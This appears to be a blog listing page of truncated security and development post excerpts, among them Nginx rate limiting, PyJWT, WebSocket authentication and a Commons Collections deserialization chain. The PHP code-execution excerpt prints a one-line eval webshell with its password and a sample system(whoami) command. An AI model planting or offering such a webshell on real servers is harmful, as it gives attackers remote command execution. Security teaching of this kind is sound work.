Web Bundles vs Legacy Bundlers: A Paradigm Shift in Web Resource Distribution
Web Bundles (file extension .wbn) represent a foundational evolution in how web applications are packaged, delivered, and executed—moving beyond the monolithic bundling model of tools like Webpack and Rollup. Unlike traditional bundlers that merge assets in to coarse-grained files, Web Bundles introduce content-addressable archives with built-i ...
Posted on Wed, 05 Aug 2026 16:56:56 +0000 by mr_mind
Code Execution and Command Execution Functions in PHP
Code Execution Functions in PHP
1. eval() Function
Usage: The passed argument must be PHP code ending with a semicolon.
Command execution: cmd=system(whoami);
Webshell password: cmd
<?php @eval($_POST['cmd']);?>
When you cannot connect to the webshell, you can use the following file upload script to upload a larger webshell. First, cr ...
Posted on Mon, 03 Aug 2026 16:47:37 +0000 by nati
Resolving Fortify Dynamic Code Evaluation Warnings with JavaScript
During static code analysis with Fortify, usage of JavaScript's eval() function triggers warnings labeled as "Dynamic Code Evaluation: Code Injection." This security concern arises because dynamically executed code can introduce vulnerabilities that may compromise application integrity.
The primary risks associated with dynamic code e ...
Posted on Mon, 27 Jul 2026 16:38:02 +0000 by houssam_ballout
Understanding Java String Immutability
The immutability of the String class in Java is a foundational concept that impacts performance, security, and memory optimization. Understanding how and why this design decision was made can help developers better utilize strings in their applications.
1. How Immutability Is Implemented in String
The immutability of String is enforced through ...
Posted on Sun, 26 Jul 2026 16:24:20 +0000 by nomanoma
Implementing Rate Limiting Controls in Nginx
Request rate limiting offers significant utility in Nginx environments, yet it frequently suffers from misconfiguration due to misunderstandings regarding its operation. This feature allows administrators to constrain the frequency of HTTP requests from specific clients within a defined timeframe. These constraints apply universally, whether ha ...
Posted on Sat, 25 Jul 2026 17:08:29 +0000 by warren
Practical Front-End Security Measures for Web Applications
In modern web development, particularly for interactive marketing campaigns like lotteries, coupon distribution, or voting systems, securing front-end interfaces is critical. Without proper safeguards, malicious actors can exploit APIs to automate requests, undermining the fairness of the platform. Below are essential security strategies to har ...
Posted on Thu, 23 Jul 2026 16:32:56 +0000 by mark123$
PyJWT: A Comprehensive Guide to JSON Web Token Implementation in Python
PyJWT: A Comprehensive Guide to JSON Web Token Implementation in Python
JSON Web Tokens (JWT) provide a compact, secure method for transmitting information between parties as JSON objects. PyJWT is a powerful Python library that enables developers to create, parse, and verify JWT tokens with ease. This article explores the fundamentals of PyJWT ...
Posted on Mon, 20 Jul 2026 17:06:30 +0000 by dkode
Secure WebSocket Authentication Strategies
WebSocket connections require robust authentication to ensure only authorized clients participate in real-time communication. Several practical approaches can be applied depending on security needs and system architecutre.
Token-Based Atuhentication
Clients include a token during the initial handshake, typically via the Sec-WebSocket-Protocol h ...
Posted on Wed, 15 Jul 2026 16:22:55 +0000 by imstupid
Analysis of Commons Collections 4 and 2 Chains (CC4 and CC2)
Environment
Both CC4 and CC2 chains require Commons Collections version 4.0.
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
This analysis focuses on the red half of the chain, which can be realized ...
Posted on Mon, 13 Jul 2026 17:13:08 +0000 by matt_wilkes
Linux Server Security and Performance Optimization Guide
Principle of Minimal Operation
1.1 Minimal System Installation
When installing the Linux operating system, select only the essential package groups:
base--------------------------basic environment
editors-----------------------editors
development librarys------development libraries
development tools---------development tools
x software deve ...
Posted on Wed, 08 Jul 2026 17:05:37 +0000 by jauson